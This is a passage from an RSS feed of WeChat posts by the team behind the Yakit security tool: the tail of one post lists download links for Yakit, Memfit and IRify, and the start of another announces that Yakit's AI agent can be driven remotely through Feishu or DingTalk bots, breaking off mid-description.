100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdti" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit 视频教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1c2a" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Github下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit官网下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1ur2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit安装文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1gj7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;"><span leaf="" data-nest-level="12" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdoh" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit使用文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhqqm7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Memfit下载地址：</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-pm-slice="0 0 []" mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC NEW&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div data-tools="135编辑器" data-id="121426" data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p data-nest-level="5" nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.6018518518518519" data-s="300,640" data-type="png" data-w="1080" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 677px !important;" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=f1826ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D13"/></p><p data-nest-level="5" nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-aistatus="1" alt="图片" class="rich_pages wxw-img __bg_gif" data-ratio="0.325" data-type="gif" data-w="640" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 640px !important;" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=833da8c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D14"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c32f59f7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530044%26idx%3D1%26sn%3Dd1ac61688c3a5b5d16ccc8d27f97d9d7">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 31 Jul 2026 16:38:00 +0800</pubDate>
    </item>
    <item>
      <title>躺着也能搞安全？Memfit / Yakit AI支持接入飞书钉钉了！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530032&amp;idx=1&amp;sn=a49f8363f83a9aab8c277c0458b12921</link>
      <description>办公 IM 联动 Yakit/Memfit，远程驱动 AI 安全任务</description>
      <content:encoded><![CDATA[<p><span>YAK</span> <span>2026-07-24 13:52</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=21824ef4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72EianccRViaYFxAbx7ENP1clNibFicRr8KFSwFZaBvPFtW11KFSEicxh1xibNwxhKzn1o5QxxoFkU72kic8JibVicYcoGpiao7LFibqDo5L7E%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>办公 IM 联动 Yakit/Memfit，远程驱动 AI 安全任务</p>
  <p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></span></p><p style="text-align: center;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.406486006219458" data-s="300,640" data-type="png" data-w="2251" type="block" data-imgfileid="100041182" src="https://wechat2rss.xlab.app/img-proxy/?k=988c1871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZdUYXaiccQFYhEArmU3f9ef0VNmBjcyLt7PUV08libAc8EmnhuFSzlnIiaJThN911S7468pdssPD8hgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100040729" src="https://wechat2rss.xlab.app/img-proxy/?k=d40567bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuudYEwKgrTRWKUKeuACA9RLaqk2MUIXHibxa7kicVPMHHT6ibIUsWCPUryRA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrxax96g1vym" style="font-size: 15px;" data-mpa-action-id="mrxax96r6sa" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">大家日常肯定会遇到的场景：</span></span></p><blockquote><p><span leaf="">你刚用 AI Agent 跑起一个扫描任务，结果得出门了。任务还在跑，但你只能等回来才能看结果。</span></p></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span data-mpa-action-id="mryi63sz1zyv" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" leaf="" mpa-font-style="mryi63sm1luh" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;data-mpa-action-id&#34;:&#34;mryi63sz1zyv&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">Memfit /</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yakit 最近加了一个</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">IM</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 远程控制</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 功能：在飞书或钉钉里给机器人发消息，就能直接驱动 AI Agent 执行安全任务，结果原样推回 IM。</span></span><span data-mpa-action-id="mryi63sz1zyv" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" leaf="" mpa-font-style="mryi63sm1luh">Memfit / Yakit 的操作都是一样的，本文</span><span leaf="" mpa-font-style="mryi6senm14" style="font-size: 15px;" data-mpa-action-id="mryi6sex18az" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">以 Yakit 为例</span></span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">讲讲它怎么用。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">一、IM 远程控制是什么？</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">简单说：Yakit 内置了一个常驻的</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">IM</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> Engine</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">它会连上你配置的飞书/钉钉机器人，把机器人收到的消息路由到两类处理：</span></span></p><ul class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-mpa-action-id="mrxbzvgv1gx7" data-pm-slice="0 0 []"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">斜杠命令</span></span></strong><span style="font-size: 15px;"><span style="letter-spacing: 1px;color: #fd8009;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrxbzliw1mks"><span 